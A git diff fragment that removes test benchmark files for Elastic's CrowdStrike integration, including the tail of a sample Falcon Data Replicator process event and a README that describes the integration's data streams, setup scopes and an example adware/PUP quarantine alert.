"1600", - "RpcClientProcessId": "2439558094566", - "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "SessionId": "1", - "SourceProcessId": "2439558094566", - "SourceThreadId": "77538684027214", - "Tags": [ - "41", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "WindowFlags": "128", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949", - "info": { - "host": { - "AgentLoadFlags": "1", - "AgentLocalTime": "1697775225", - "AgentTimeOffset": "15889.017", - "AgentVersion": "7.01.13922.0", - "BiosManufacturer": "Iris", - "BiosVersion": "vG17V.21040423/z64", - "ChassisType": "Other", - "City": "Chicago", - "ConfigBuild": "1007.3.0017312.1", - "ConfigIDBuild": "13922", - "Continent": "North America", - "Country": "United States of America", - "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", - "FirstSeen": "1628678052.0", - "HostHiddenStatus": "Visible", - "MachineDomain": "groot.org", - "OU": "Servers;America;Offices", - "PointerSize": "8", - "ProductType": "3.0", - "ServicePackMajor": "0", - "SiteName": "BCL", - "SystemManufacturer": "Iris", - "SystemProductName": "IrOS", - "Time": "1697992719.22", - "Timezone": "America/Chicago", - "Version": "Windows Server 2021", - "cid": "ffffffff30a3407dae27d0503611022d", - "event_platform": "Win" - }, - "user": { - "AccountType": "Domain User", - "LastLoggedOnHost": "COMPUTER1", - "LocalAdminAccess": "No", - "LogonInfo": "Domain User Logon", - "LogonTime": "1702546155.197", - "LogonType": "Interactive", - "PasswordLastSet": "1699971198.062", - "User": "DOMAIN\\BRADLEYA", - "UserIsAdmin": "0", - "UserLogonFlags_decimal": "0", - "_time": "1702546168.576", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "event_platform": "Win", - "monthsincereset": "1.0" - } - }, - "name": "ProcessRollup2V18" - }, - "data_stream": { - "dataset": "crowdstrike.fdr", - "namespace": "27890", - "type": "logs" - }, - "device": { - "id": "ffffffff655344736aca58d17fb570f0" - }, - "elastic_agent": { - "id": "eb2db106-5958-49b5-ae25-c286e62857e1", - "snapshot": false, - "version": "8.18.0" - }, - "event": { - "action": "ProcessRollup2", - "agent_id_status": "verified", - "category": [ - "process" - ], - "created": "2020-10-01T09:58:32.519Z", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", - "ingested": "2026-02-24T11:51:06Z", - "kind": "event", - "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff655344736aca58d17fb570f0", - "ip": [ - "16.15.12.10" - ], - "name": "FEVWSN1-234", - "os": { - "type": "windows" - } - }, - "input": { - "type": "aws-s3" - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff655344736aca58d17fb570f0", - "version": "1007.3.0012309.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "LOW" - } - }, - "args": [ - "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", - "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" - ], - "args_count": 2, - "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", - "entity_id": "2450046082233", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", - "hash": { - "md5": "50d5fd1290d94d46acca0585311e74d5", - "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" - }, - "name": "backgroundTaskHost.exe", - "parent": { - "entity_id": "2439558094566", - "name": "svchost.exe" - }, - "pid": 22272, - "start": "2020-11-08T17:06:21.648Z" - }, - "related": { - "hash": [ - "50d5fd1290d94d46acca0585311e74d5", - "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "3998263252" - ], - "hosts": [ - "FEVWSN1-234", - "COMPUTER1" - ], - "ip": [ - "67.43.156.14", - "16.15.12.10" - ], - "user": [ - "Alan-One", - "DOMAIN\\BRADLEYA", - "S-1-12-1-3697283754-1083485977-2164330645-2516515886" - ] - }, - "tags": [ - "preserve_original_event", - "forwarded", - "crowdstrike-fdr" - ], - "user": { - "domain": "DOMAIN", - "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", - "name": "Alan-One" - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md deleted file mode 100644 index 6598cc58b1..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md +++ /dev/null @@ -1,2281 +0,0 @@ -# CrowdStrike Integration - -The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic: - -1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs: - -- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector. - - **Log File Format and Location** - - The CrowdStrike integration only supports JSON output format from the SIEM Connector. - - - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file. - - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`. - - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion. - - >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. - -2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs: - -- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`. - -- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc. - - > NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. - -- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`. - -3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs: - -- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events. - -4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs: - -- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream. - -## Compatibility - -This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming. -For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**. - -## Requirements - -### Agentless enabled integration -Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). - -Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. - -### Agent based installation - -Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). -You can install only one Elastic Agent per host. -Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. - -## Setup - -### Collect data from CrowdStrike REST API - -The following parameters from your CrowdStrike instance are required: - -1. Client ID -2. Client Secret -3. Token url -4. API Endpoint url -5. Required scopes for each data stream : - - | Data Stream | Scope | - | ------------- | ------------- | - | Alert | read:alert | - | Host | read:host | - | Vulnerability | read:vulnerability | - -### Collect data from CrowdStrike Event Stream - -The following parameters from your CrowdStrike instance are required: - -1. Client ID -2. Client Secret -3. Token URL -4. API Endpoint URL -5. CrowdStrike App ID -6. Required scopes for event stream: - - | Data Stream | Scope | - | ------------- | ------------------- | - | Event Stream | read: Event streams | - -## Logs - -### Alert - -This is the `Alert` dataset. - -#### Example - -An example event for `alert` looks as following: - -```json -{ - "@timestamp": "2023-11-03T18:00:22.328Z", - "agent": { - "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "name": "elastic-agent-43429", - "type": "filebeat", - "version": "8.18.0" - }, - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "data_stream": { - "dataset": "crowdstrike.alert", - "namespace": "96581", - "type": "logs" - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "elastic_agent": { - "id": "d541c008-3558-403d-9392-4faa6d42fcb4", - "snapshot": true, - "version": "8.18.0" - }, - "event": { - "agent_id_status": "verified", - "category": [ - "process" - ], - "dataset": "crowdstrike.alert", - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ingested": "2025-10-09T10:20:29Z", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"